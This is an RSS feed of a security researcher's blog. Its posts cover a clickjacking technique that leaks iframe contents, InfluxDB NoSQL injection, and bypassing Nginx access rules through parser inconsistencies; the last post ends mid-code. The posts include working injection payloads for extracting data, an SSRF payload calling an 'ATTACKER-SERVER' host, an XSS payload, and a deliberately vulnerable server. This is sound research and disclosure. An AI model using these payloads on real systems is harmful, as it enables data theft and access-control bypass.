<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Rafa's Security Researches]]></title><description><![CDATA[My Security Research Portfolio]]></description><link>https://blog.bugport.net</link><generator>RSS for Node</generator><lastBuildDate>Sat, 11 Apr 2026 17:02:59 GMT</lastBuildDate><atom:link href="https://blog.bugport.net/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[AuxClickjacking]]></title><description><![CDATA[In this small and fun research, I will show how I developed a Clickjacking technique that leaks iframe contents by prompting the user to perform a click and drag + middle mouse button (wheel) click. I’m not sure if it’s already being exploited, but f...]]></description><link>https://blog.bugport.net/auxclickjacking</link><guid isPermaLink="true">https://blog.bugport.net/auxclickjacking</guid><dc:creator><![CDATA[Rafael da Costa Santos]]></dc:creator><pubDate>Mon, 17 Nov 2025 22:24:36 GMT</pubDate><content:encoded><![CDATA[<p>In this small and fun research, I will show how I developed a Clickjacking technique that leaks iframe contents by prompting the user to perform a click and drag + middle mouse button (wheel) click. I’m not sure if it’s already being exploited, but for now, I’m calling this AuxClickjacking.</p>
<h2 id="heading-select-text-wheel-click">Select Text + Wheel Click</h2>
<p>One day, I accidentally discovered a very useful feature on modern browsers: If you select a text and then click with the middle button of the mouse on any field/tab, the selected text will be pasted in that field. Since then, I've used this feature frequently, until one day it occurred to me whether I could abuse this behavior.</p>
<h2 id="heading-iframe-abuse">Iframe Abuse</h2>
<p>The first thing I wanted to test was whether iframe content could be copied using this feature, and unsurprisingly, it worked:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763416995968/76815b4d-5631-4d4a-84f9-2e24b5dee1ac.gif" alt class="image--center mx-auto" /></p>
<p>I also noticed that an iframe with near-zero opacity can still be copied, which already hints at a potential clickjacking-like scenario.</p>
<p>Next, I wondered: <em>“What if I simulate a click-and-drag interaction, but place a hidden iframe underneath, will its content be copied?”</em><br />The answer is no: modern browsers enforce a strict sandbox here. If you try selecting text across both the parent page and a hidden iframe, only the first source in the selection (the parent window) is actually copied.</p>
<p>So the real question became: <em>“What if I can make the iframe the first source of the selection?”</em><br />And that’s how I came up with the idea to build an exploit inspired by click-and-drag mechanics used in many web-based games.</p>
<h2 id="heading-the-billiards-game">The Billiards Game</h2>
<p>In this example, I’m leaking the contents of https://example.com: <a target="_blank" href="https://clickjacking1337.s3.us-east-1.amazonaws.com/index.html">https://clickjacking1337.s3.us-east-1.amazonaws.com/index.html</a>.</p>
<p>The core idea behind this exploit is to trick the user into performing a click-and-drag interaction to “shoot” the ball into the pocket. Visually, the user believes they are interacting with a simple billiards-style mini-game:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763416751746/44042aef-a304-4177-846f-e656c0549482.gif" alt class="image--center mx-auto" /></p>
<p>However, behind the scenes, the user is actually clicking and dragging over a hidden <code>&lt;iframe&gt;</code>, and to perform the “shot”, the game requires a middle-mouse (wheel) click, which will paste the iframe contents into our page. When the user drags the ball, they are unknowingly selecting the entire contents of the iframe, due to the automatic scrolling caused by the iframe’s constrained height.</p>
<p>The main limitation of this technique is that the first drag attempt fails because the initial interaction still happens inside the iframe’s DOM context. Fortunately, this behavior is detectable: once the iframe receives focus, the parent page triggers an <code>onblur</code> event, which allows the parent page to know if the iframe contents were copied or not. After the <code>onblur</code> event, the exploit can remove the iframe, leaving the user with a fully functional game interface while the selection event has already occurred. This way, the user will only think that it was a small bug in the game, and life goes on.</p>
<p>Below is a demonstration of how the exploit operates internally:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763417614604/ce0d2746-cdbe-43a7-b9a7-d6c6d6ad0bf4.gif" alt class="image--center mx-auto" /></p>
<p>And here is what a real exploitation attempt looks like in practice:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763417323131/0f46a8e0-1ad4-4eea-b582-e724db0bcaaa.gif" alt class="image--center mx-auto" /></p>
<h2 id="heading-explaining-parts-of-the-exploit-code">Explaining Parts Of The Exploit Code</h2>
<ol>
<li><p>The iframe must have <code>scrolling="yes"</code> and a limited <code>height</code>. This way, the browser quickly performs the selection and scrolling in the entire page.</p>
</li>
<li><p>I’m using <code>width="10000000"</code> In the Iframe element, to avoid vertical scrollbars on it. This may cause the user to select the scrollbar instead of the iframe content.</p>
</li>
<li><p>The Iframe opacity needs to be near zero, enough to be unseen in the page: <code>opacity:0.01;</code>.</p>
</li>
<li><p>To leak the page data with the middle mouse button click, I’m creating a <code>input</code> element and adding a <code>onClick</code> event to it. This way, I can copy the pasted data:</p>
<pre><code class="lang-javascript"> shotButton = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">"input"</span>);
 shotButton.value = <span class="hljs-string">"Shoot Ball"</span>;
 <span class="hljs-comment">/*More code*/</span>
 shotButton.addEventListener(<span class="hljs-string">"mouseup"</span>, <span class="hljs-function">(<span class="hljs-params">e</span>) =&gt;</span> {
     <span class="hljs-keyword">if</span> (e.button === <span class="hljs-number">1</span>) {
         arrowCanvas.style.opacity = <span class="hljs-number">0</span>;
         launchBall();
         <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{
             <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"message-content"</span>).innerText = <span class="hljs-string">"Leaked Data :: "</span> + shootball.value
             shootball.value = <span class="hljs-string">"Shoot Ball"</span>
             shotButton.remove();
             shotButton = <span class="hljs-literal">null</span>;
         }, <span class="hljs-number">1</span>);
     }
 });
</code></pre>
</li>
<li><p>To detect if the iframe contents were already copied, I’m using the following code:</p>
<pre><code class="lang-javascript"> <span class="hljs-built_in">window</span>.addEventListener(<span class="hljs-string">"blur"</span>, <span class="hljs-function">() =&gt;</span> {
   <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{
     iframeElem.hidden=<span class="hljs-string">"true"</span> <span class="hljs-comment">// Prevents the iframe element from being selected.</span>
   }, <span class="hljs-number">600</span>)
 });
</code></pre>
</li>
</ol>
<h2 id="heading-conclusion">Conclusion</h2>
<p>This technique works in both Chrome and Firefox, and I can honestly say I would fall for it myself in a browser game.</p>
]]></content:encoded></item><item><title><![CDATA[InfluxDB NoSQL Injection]]></title><description><![CDATA[In this post, I'll share my experience of discovering a NoSQL Injection vulnerability in a Bug Bounty program in a non-popular database within the hacking community.
During the initial discovery, I was expecting to find a good blog post or tool teach...]]></description><link>https://blog.bugport.net/influxdb-nosql-injection</link><guid isPermaLink="true">https://blog.bugport.net/influxdb-nosql-injection</guid><category><![CDATA[InfluxDB]]></category><category><![CDATA[hacking]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[ssrf ]]></category><category><![CDATA[NoSQLInjection]]></category><dc:creator><![CDATA[Rafael da Costa Santos]]></dc:creator><pubDate>Thu, 17 Aug 2023 11:43:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1690049364900/5dd7f9b2-8a4e-4939-b1b2-6620d1035154.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this post, I'll share my experience of discovering a NoSQL Injection vulnerability in a Bug Bounty program in a non-popular database within the hacking community.</p>
<p>During the initial discovery, I was expecting to find a good blog post or tool teaching how to exploit NoSQL Injection on InfluxDB, but this was not the case, so I needed to understand how this database works to develop payload techniques to leak data from it.</p>
<p>Furthermore, I'll explain how I took advantage of it to find an XSS and SSRF.</p>
<h1 id="heading-what-is-influxdb">What is InfluxDB</h1>
<p>InfluxDB is a popular open-source time series database that is designed for handling high volumes of timestamped data. InfluxDB is widely used for monitoring and analyzing metrics, events, and real-time data from various sources such as sensors, applications, and IoT devices.</p>
<h1 id="heading-initial-vulnerability-discovery">Initial Vulnerability Discovery</h1>
<p>During the WEB application analysis, I received the following error after sending the character " in a query parameter of the URL:</p>
<pre><code class="lang-plaintext">error @1:115-1:118: got unexpected token in string expression @1:118-1:118: EOF
</code></pre>
<p>This looked like a lot a injection issue, and after searching on Google, I concluded that the backend was using InfluxDB.</p>
<p>At this point, I started reading the documentation (<a target="_blank" href="https://docs.influxdata.com/influxdb/v2.7/">https://docs.influxdata.com/influxdb/v2.7/</a>) trying to figure out what is happening in the backend.</p>
<h2 id="heading-influxdb-nosql-queries">InfluxDB NoSQL Queries</h2>
<p>This is a simple example of an InfluxDB NoSQL query:</p>
<pre><code class="lang-java">from(bucket: <span class="hljs-string">"example-bucket"</span>)
    |&gt; range(start: -<span class="hljs-number">1</span>h)
    |&gt; filter(fn: (r) =&gt; r._measurement == <span class="hljs-string">"example-measurement"</span> and r.tag == <span class="hljs-string">"example-tag"</span>)
</code></pre>
<p>The given InfluxDB query retrieves data from the "example-bucket" within the last hour and filters the data based on specific conditions.</p>
<p>Here's a breakdown of each part of the query:</p>
<ol>
<li><p><code>from(bucket: "example-bucket")</code>: This part specifies the source bucket from which the data will be retrieved. InfluxDB organizes data into buckets, and here, the data will be fetched from the "example-bucket." Buckets are like database names in SQL languages.</p>
</li>
<li><p><code>|&gt; range(start: -1h)</code>: This part sets the time range for the data retrieval. The <code>range</code> function is used to define a time window. In this case, it specifies the last hour of data from the current time. The parameter <code>start: -1h</code> means the data will be fetched from one hour ago until the current time.</p>
</li>
<li><p><code>|&gt; filter(fn: (r) =&gt; r._measurement == "example-measurement" and r.tag == "example-tag")</code>: This part applies a filter to the data based on certain conditions. The <code>filter</code> function is used to select specific data points that meet the defined criteria. The <code>filter()</code> performs operations similar to the <code>SELECT</code> statement and the <code>WHERE</code> clause in SQL-like languages.</p>
</li>
</ol>
<p>In summary, the query fetches data from the "example-bucket" within the last hour and filters the data to include only those data points that belong to the measurement "example-measurement" and have a tag with the key "tag" and value "example-tag."</p>
<h2 id="heading-building-a-vulnerable-web-application">Building a Vulnerable WEB Application</h2>
<p>After knowing the syntax, it's time to build our vulnerable application to finally build a working proof of concept on real-world applications.</p>
<p>The following code is a vulnerable server example:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>);
<span class="hljs-keyword">const</span> {InfluxDB, Point} = <span class="hljs-built_in">require</span>(<span class="hljs-string">'@influxdata/influxdb-client'</span>)

<span class="hljs-keyword">const</span> app = express();

<span class="hljs-keyword">const</span> token = <span class="hljs-string">'REDACTED'</span> <span class="hljs-comment">// InfluxDB Token</span>
<span class="hljs-keyword">const</span> url = <span class="hljs-string">'https://127.0.0.1'</span> <span class="hljs-comment">// Local Database endpoint</span>
<span class="hljs-keyword">const</span> org = <span class="hljs-string">'myOrg'</span>
<span class="hljs-keyword">const</span> bucket = <span class="hljs-string">'publicBucket'</span>

<span class="hljs-keyword">const</span> client = <span class="hljs-keyword">new</span> InfluxDB({url, token})

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">query</span>(<span class="hljs-params">fluxQuery</span>) </span>{
  results = []

  queryApi = client.getQueryApi(org)

  <span class="hljs-keyword">for</span> <span class="hljs-keyword">await</span> (<span class="hljs-keyword">const</span> {values, tableMeta} <span class="hljs-keyword">of</span> queryApi.iterateRows(fluxQuery)) {
    o = tableMeta.toObject(values)
    <span class="hljs-built_in">console</span>.log(o)
    results.push(o)
  }

  <span class="hljs-keyword">return</span> results
}

app.get(<span class="hljs-string">'/query'</span>, <span class="hljs-keyword">async</span> (req, res) =&gt; {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">const</span> fluxQuery = <span class="hljs-string">'from(bucket:"'</span> + bucket + <span class="hljs-string">'") |&gt; range(start: 0)  |&gt; filter(fn: (r) =&gt; r._field == "public_field" and r._value == "'</span> + req.query.data + <span class="hljs-string">'") '</span>
      result = <span class="hljs-keyword">await</span> query(fluxQuery)

      res.send(result)
    } <span class="hljs-keyword">catch</span> (err) {
      res.send(err.toString())  
    }
});

<span class="hljs-keyword">const</span> port = <span class="hljs-number">3000</span>;

app.listen(port, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Server started on port <span class="hljs-subst">${port}</span>`</span>);
});
</code></pre>
<p>In the above example, the server is concatenating a user-supplied input at <code>' + req.query.data + '</code> to the InfluxDB query without any sanitization:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> fluxQuery = <span class="hljs-string">'from(bucket:"'</span> + bucket + <span class="hljs-string">'") |&gt; range(start: 0)  |&gt; filter(fn: (r) =&gt; r._field == "public_field" and r._value == "'</span> + req.query.data + <span class="hljs-string">'") '</span>
result = <span class="hljs-keyword">await</span> query(fluxQuery)
</code></pre>
<p>And by sending an HTTP request containing the character " that will escape the string sequence of the query, we can confirm that it returns the same error previously seen in the Bug Bounty program server:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1689960471547/e3542eb7-ada8-4d27-b912-c9476514d7d0.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-building-the-payload">Building The Payload</h1>
<h2 id="heading-leaking-bucket-names">Leaking Bucket Names</h2>
<p>As said earlier, on InfluxDB, bucket names are like database names on other SQL languages, and like an SQL Injection exploitation process, it's crucial to find a way to leak these bucket names to get access to the entire database.</p>
<p>After carefully reading the documentation, and supposing that the injection occurs at the filter function, I achieved the following Error-based NoSQLI payload:</p>
<pre><code class="lang-plaintext">") |&gt; yield(name: "1337") 
buckets() |&gt; filter(fn: (r) =&gt; r.name =~ /^a.*/ and die(msg:r.name)) 
//
</code></pre>
<ol>
<li><p>The <code>buckets()</code> function lists all the buckets from the current database.</p>
</li>
<li><p>The <code>filter()</code> function uses the <code>r.name</code> expression to filter for bucket names, which the <code>r</code> is the result of the buckets query, and <code>name</code> is a field returned in the <code>buckets()</code> function.</p>
</li>
<li><p>As you can see, the InfluxDB queries support regex with the <code>=~</code> operation, so the logic behind the condition <code>r.name =~ /^a.*/</code> is that it will be <code>true</code> if a bucket name starts with the letter <code>a</code>.</p>
</li>
<li><p>After that, the filter uses a <code>and</code> condition that calls the <code>die()</code> function with the value of the bucket name as a parameter. The <code>die()</code> function throws an error with a custom message passed in the first parameter, which will leak the bucket name.</p>
</li>
<li><p>The payload is also using the <code>yield()</code> function before the buckets query. This is necessary to perform "multiple queries" in a single request on InfluxDB.</p>
</li>
<li><p>Finally, it's necessary to separate the <code>yield()</code> from the buckets query with a new line, and at the end of the payload, I added the <code>//</code> expression after another new line to comment everything after our injection.</p>
</li>
</ol>
<p>Resuming, if a bucket name that starts with the letter <code>a</code> exists in the database, it will trigger the <code>die()</code> function that will leak the bucket name in the error message. If no bucket starts with the sent letter, the server will return an empty output with no errors.</p>
<p>Trying on our vulnerable application we can see that no errors returned with the letter <code>a</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1689967017835/842c8749-478c-417c-8d01-877e2975845e.png" alt class="image--center mx-auto" /></p>
<p>But sending the same payload with the letter <code>p</code> leaks the bucket name <code>privateBucket</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1689967084085/026e9880-2967-4c99-a86a-2166d7e3cadd.png" alt class="image--center mx-auto" /></p>
<p>To leak all bucket names it's necessary to test all characters, adding another sequence after matching (for example <code>pa</code>, <code>pb</code>, <code>pc</code> ...).</p>
<h2 id="heading-leaking-the-bucket-field-names">Leaking The Bucket Field Names</h2>
<p>Now that we have the names of the buckets we can try to fetch their contents, but like other SQL languages, sometimes we need to specify the column names to query specific data, and in this section, I will show a technique to leak these column names in InfluxDB.</p>
<p>During dynamic analysis, I was able to find a payload that triggers an error containing the data structure of any bucket:</p>
<pre><code class="lang-plaintext">") |&gt; yield(name: "1337") 
 from(bucket: "privateBucket") |&gt; range(start: 0) |&gt; filter(fn: (r) =&gt; die(msg:r)) 
 //
</code></pre>
<p>The above payload uses a similar technique, using the <code>yield()</code> function and adding a comment at the end of the payload:</p>
<ol>
<li><p>The payload now uses the <code>from()</code> function to fetch the data of the leaked bucket name, the <code>range()</code> which is necessary, and finally the <code>filter()</code>.</p>
</li>
<li><p>In the <code>filter()</code> function, I called <code>die()</code> again, but now sending the entire result abject as a parameter. Since the <code>die()</code> function only accepts strings as parameters and the result object contains all the bucket data structure, the server will trigger a verbose error leaking it.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1689969257934/4250bed6-b170-4ae7-b74f-0c75dae33e20.png" alt class="image--center mx-auto" /></p>
<p>As you can see in the above screenshot, the server leaked this structure:</p>
<pre><code class="lang-plaintext">_value: B,
_time: time,
_stop: time,
_start: time,
_measurement: string,
_field: string
</code></pre>
<p>Now that we know the query structure, we can use a regex comparison to force an error to leak all field names:</p>
<pre><code class="lang-plaintext">") |&gt; yield(name: "1337")
 from(bucket: "privateBucket") |&gt; range(start: 0) |&gt; filter(fn: (r) =&gt; r._field =~ /s.*/ and die(msg:r._field))
 //
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1690034078296/59f3c3d5-1d83-4e04-be37-02482338036f.png" alt class="image--center mx-auto" /></p>
<p>As we can see, the vulnerable app leaked the field name <code>sensitive_field</code> because it matched the regex condition <code>r._field =~ /s.*/</code>.</p>
<h2 id="heading-leaking-field-values">Leaking Field Values</h2>
<p>After leaking all field names, we can try to leak field values. Field values are the "final node" of InfluxDB, it's where the data is stored, in other words, leaking the values is the last step of the exploitation. To do that we can use the same technique used to leak the field names, but now specifying the field that we want to retrieve:</p>
<pre><code class="lang-plaintext">") |&gt; yield(name: "1337")
 from(bucket: "privateBucket") |&gt; range(start: 0) |&gt; filter(fn: (r) =&gt; r._field == "sensitive_field" and die(msg:r._value))
 //
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1690034354204/ec784c85-76e7-4236-a1e1-e4f463cd3cd0.png" alt class="image--center mx-auto" /></p>
<p>By sending the above payload, the server responded with an error:</p>
<pre><code class="lang-plaintext">HttpError: runtime error @2:54-2:124: filter: type conflict: string != int
</code></pre>
<p>This occurs because the data stored on <code>r._value</code> is an integer and the <code>die()</code> function only accepts strings. To circumvent that, we can use the <code>string()</code> function to convert the integer value to a string, successfully leaking it in the error message:</p>
<pre><code class="lang-plaintext">") |&gt; yield(name: "1337")
 from(bucket: "privateBucket") |&gt; range(start: 0) |&gt; filter(fn: (r) =&gt; r._field == "sensitive_field" and die(msg:string(v:r._value)))
 //
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1690034556467/a6f396e4-14ef-47aa-a815-f7321d26b0d4.png" alt class="image--center mx-auto" /></p>
<p>As we can see in the above screenshot, the value of the <code>sensitive_field</code> is <code>1337</code>. This means that we were able to fetch arbitrary data from other buckets!</p>
<h1 id="heading-influxdb-server-side-request-forgery">InfluxDB Server-Side Request Forgery</h1>
<p>While reading the documentation I noticed that some InfluxDB functions accept a <code>host</code> parameter, one of these functions is <code>from()</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1690046643463/4779457c-b6e6-4746-9fbb-9dcbd7ecb8b3.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1690046706878/9f9a747f-d02a-4b54-8215-8158d69ccb77.png" alt /></p>
<p>By sending the <code>host</code> parameter in the <code>from()</code> function we can make HTTP requests to arbitrary URLs. The following payload is an example of an SSRF using the NoSQL Injection vulnerability:</p>
<pre><code class="lang-plaintext">") |&gt; yield(name: "1337")
 from(bucket: "1337", host:"https://ATTACKER-SERVER") |&gt; range(start:0)
 //
</code></pre>
<p>And this is the request received by my Burp Collaborator:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1690046970443/258d6d9c-c22d-4dc7-b6d4-56c5bced9d2e.png" alt class="image--center mx-auto" /></p>
<p>If the vulnerable application is using a local InfluxDB database, it's also possible to fetch internal endpoints.</p>
<blockquote>
<p>This is not a vulnerability from InfluxDB, this is just a feature being abused by a NoSQL Injection that was raised from an insecure coding practice.</p>
</blockquote>
<h1 id="heading-influxdb-cross-site-scripting">InfluxDB Cross-Site Scripting</h1>
<p>Our example server is also prone to Reflected XSS attacks via the NoSQL Injection:</p>
<pre><code class="lang-javascript">app.get(<span class="hljs-string">'/query'</span>, <span class="hljs-keyword">async</span> (req, res) =&gt; {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">const</span> fluxQuery = <span class="hljs-string">'from(bucket:"'</span> + bucket + <span class="hljs-string">'") |&gt; range(start: 0)  |&gt; filter(fn: (r) =&gt; r._field == "public_field" and r._value == "'</span> + req.query.data + <span class="hljs-string">'") '</span>
      result = <span class="hljs-keyword">await</span> query(fluxQuery)

      res.send(result)
    } <span class="hljs-keyword">catch</span> (err) {
      res.send(err.toString())  
    }
});
</code></pre>
<p>If you have an XSS radar like me, you notice that when an error occurs in the InfluxDB query, the <code>try{ } catch{ }</code> statement sends the error back to the client with the <code>Content-Type</code> equals to <code>text/html</code>, allowing the browser load HTML and JavaScript.</p>
<p>Furthermore, we can control some data that is reflected in these errors, especially via the <code>die()</code> function:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1690047872485/3916e727-3b37-4047-8c96-5419407d684a.png" alt class="image--center mx-auto" /></p>
<p>Since the query API uses the GET method, it's possible to execute arbitrary JavaScript on the victim's browsers by sending a malicious link:</p>
<ul>
<li><a target="_blank" href="http://127.0.0.1:3000/query?data=%22">http://127.0.0.1:3000/query?data=%22)%20die(msg%3a%22%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e%22)%2f%2f</a></li>
</ul>
<pre><code class="lang-plaintext">") die(msg:"&lt;img src=x onerror=alert(document.domain)&gt;")//
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1690047969707/521a90e8-1b85-4b3d-9f24-0caf0914d781.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1690047994646/68b8e8d0-6988-4c6e-b2e8-9fc5417d4931.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>This is not an InfluxDB vulnerability because the issue raises from a NoSQL Injection caused by an insecure coding practice and an insecure default Content-Type by NodeJS.</p>
</blockquote>
<h1 id="heading-conclusion">Conclusion</h1>
<p>In this blog post, I described my exploit development process of a NoSQL Injection vulnerability in a non-popular database within the hacking community and how I leveraged this issue to achieve an SSRF and XSS.</p>
]]></content:encoded></item><item><title><![CDATA[Exploiting HTTP Parsers Inconsistencies]]></title><description><![CDATA[The HTTP protocol plays a vital role in the seamless functioning of web applications, however, the implementation of HTTP parsers across different technologies can introduce subtle discrepancies, leading to potential security loopholes.
In this resea...]]></description><link>https://blog.bugport.net/exploiting-http-parsers-inconsistencies</link><guid isPermaLink="true">https://blog.bugport.net/exploiting-http-parsers-inconsistencies</guid><category><![CDATA[http]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[research]]></category><category><![CDATA[web]]></category><category><![CDATA[Desync Attacks]]></category><dc:creator><![CDATA[Rafael da Costa Santos]]></dc:creator><pubDate>Sat, 17 Jun 2023 17:25:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1686855768304/932a6fc8-23cf-429f-88e2-bee9d6c0d010.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The HTTP protocol plays a vital role in the seamless functioning of web applications, however, the implementation of HTTP parsers across different technologies can introduce subtle discrepancies, leading to potential security loopholes.</p>
<p>In this research, my focus revolves around the discovery of inconsistencies within HTTP parsers across various web technologies, including load balancers, reverse proxies, web servers, and caching servers. By investigating these disparities, I aim to shed light on potential new vulnerabilities that involve HTTP Desync attacks.</p>
<p>It was my first security research, I started on this journey in December 2021 and concluded in April 2022. I tried to be creative in finding new attack vectors due to incorrect HTTP parsing. In this post, I will share the final results of this study.</p>
<h1 id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules">Pathname Manipulation: Bypassing Reverse Proxies and Load Balancers Security Rules</h1>
<p>This section of the research focuses on the exploitable vulnerabilities arising from pathname manipulation in web servers, principally about the use of <code>trim()</code> or <code>strip()</code> functions. By exploiting these techniques, attackers can circumvent security rules specific to certain paths in reverse proxies and load balancers, posing a significant threat to web application security.</p>
<p>In this section, we delve into the intricacies of how web servers process and manipulate pathnames, investigating the impact of the removal of certain characters, which can lead to unintended behaviors.</p>
<h2 id="heading-nginx-acl-rules">Nginx ACL Rules</h2>
<p>Nginx is a powerful web server and reverse proxy which allows developers to apply security rules on HTTP requests. This section explores security threads of the capabilities of Nginx in rewriting or blocking HTTP messages, with a primary focus on rules triggered by specific strings or regular expressions found within the HTTP pathname section.</p>
<p>In Nginx, the "location" rule enables developers to define specific directives and behaviors based on the requested URL. This rule acts as a key component in routing and processing incoming HTTP requests, allowing control over how different URLs are handled.</p>
<pre><code class="lang-plaintext">location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}
</code></pre>
<p>The above Nginx rule aims to deny every access to the <code>/admin</code> endpoint, so if a user tries to access this endpoint, Nginx will return <code>403</code> and will not pass the HTTP message to the web server.</p>
<p>To prevent security issues on URI-based rules, Nginx performs path normalization before checking them. Path normalization in Nginx refers to the process of transforming and standardizing requested URLs to a consistent and canonical format before handling them. It involves removing redundant or unnecessary elements from the URL path, such as extra slashes, dot segments, processing path traversal, and URL-encoded characters, to ensure uniformity and proper routing within the web server.</p>
<h2 id="heading-trim-inconsistencies">Trim Inconsistencies</h2>
<p>Before we proceed, we need to understand what the <code>trim()</code> function does in different languages.</p>
<p>Different languages remove different characters when the correspondent function for <code>trim()</code> is called. Each server will normalize the pathname based on its <code>trim()</code>, removing different characters. But Nginx which is written in C, does not cover all characters for all languages.</p>
<p>E.g.: Python removes the character <code>\x85</code> with <code>strip()</code>, and JavaScript does not with <code>trim()</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686750781066/bf6a391a-2bf5-4605-9e5e-8cc0f059a995.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686750895455/784cf8a4-b070-4bb6-abd0-12ae887d568c.png" alt class="image--center mx-auto" /></p>
<p>If an HTTP message is parsed using the <code>trim()</code> function in different languages, an HTTP Desync attack can occur.</p>
<h2 id="heading-bypassing-nginx-acl-rules-with-nodejs">Bypassing Nginx ACL Rules With Node.js</h2>
<p>Let's consider the following Nginx ACL rule and Node.js API source code using Express:</p>
<pre><code class="lang-plaintext">location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}
</code></pre>
<pre><code class="lang-javascript">app.get(<span class="hljs-string">'/admin'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-keyword">return</span> res.send(<span class="hljs-string">'ADMIN'</span>);
});
</code></pre>
<p>Following the <code>trim()</code> logic, Node.js "ignores" the characters <code>\x09</code>, <code>\xa0</code>, and <code>\x0c</code> from the pathname, but Nginx considers them as part of the URL:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686751453300/0531fc1a-9599-4a00-aa94-21cca2db557c.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>First, Nginx receives the HTTP request and performs path normalization on the pathname;</p>
</li>
<li><p>As Nginx includes the character <code>\xa0</code> as part of the pathname, the ACL rule for the <code>/admin</code> URI will not be triggered. Consequently, Nginx will forward the HTTP message to the backend;</p>
</li>
<li><p>When the URI <code>/admin\x0a</code> is received by the Node.js server, the character <code>\xa0</code> will be removed, allowing successful retrieval of the <code>/admin</code> endpoint.</p>
</li>
</ul>
<p>Below is a graphical demonstration of what happens with the HTTP request:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686752151660/84ec1c49-2df9-4a44-ab01-1d798ef0564f.png" alt class="image--center mx-auto" /></p>
<p>To gain a clearer understanding of how this vulnerability can be exploited, I recommend watching the accompanying proof of concept video below:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=sgs3s5oTfz8">https://www.youtube.com/watch?v=sgs3s5oTfz8</a></div>
<p> </p>
<p>Below is a table correlating Nginx versions with characters that can potentially lead to bypassing URI ACL rules when using Node.js as the backend:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Nginx Version</td><td><strong>Node.js Bypass Characters</strong></td></tr>
</thead>
<tbody>
<tr>
<td>1.22.0</td><td><code>\xA0</code></td></tr>
<tr>
<td>1.21.6</td><td><code>\xA0</code></td></tr>
<tr>
<td>1.20.2</td><td><code>\xA0</code>, <code>\x09</code>, <code>\x0C</code></td></tr>
<tr>
<td>1.18.0</td><td><code>\xA0</code>, <code>\x09</code>, <code>\x0C</code></td></tr>
<tr>
<td>1.16.1</td><td><code>\xA0</code>, <code>\x09</code>, <code>\x0C</code></td></tr>
</tbody>
</table>
</div><h2 id="heading-bypassing-nginx-acl-rules-with-flask">Bypassing Nginx ACL Rules With Flask</h2>
<p>Flask removes the characters <code>\x85</code>, <code>\xA0</code>, <code>\x1F</code>, <code>\x1E</code>, <code>\x1D</code>, <code>\x1C</code>, <code>\x0C</code>, <code>\x0B</code>, and <code>\x09</code> from the URL path, but NGINX doesn't.</p>
<p>Take the following nginx configuration/API source code as a reference:</p>
<pre><code class="lang-plaintext">location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}
</code></pre>
<pre><code class="lang-python"><span class="hljs-meta">@app.route('/admin', methods = ['GET'])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">admin</span>():</span>
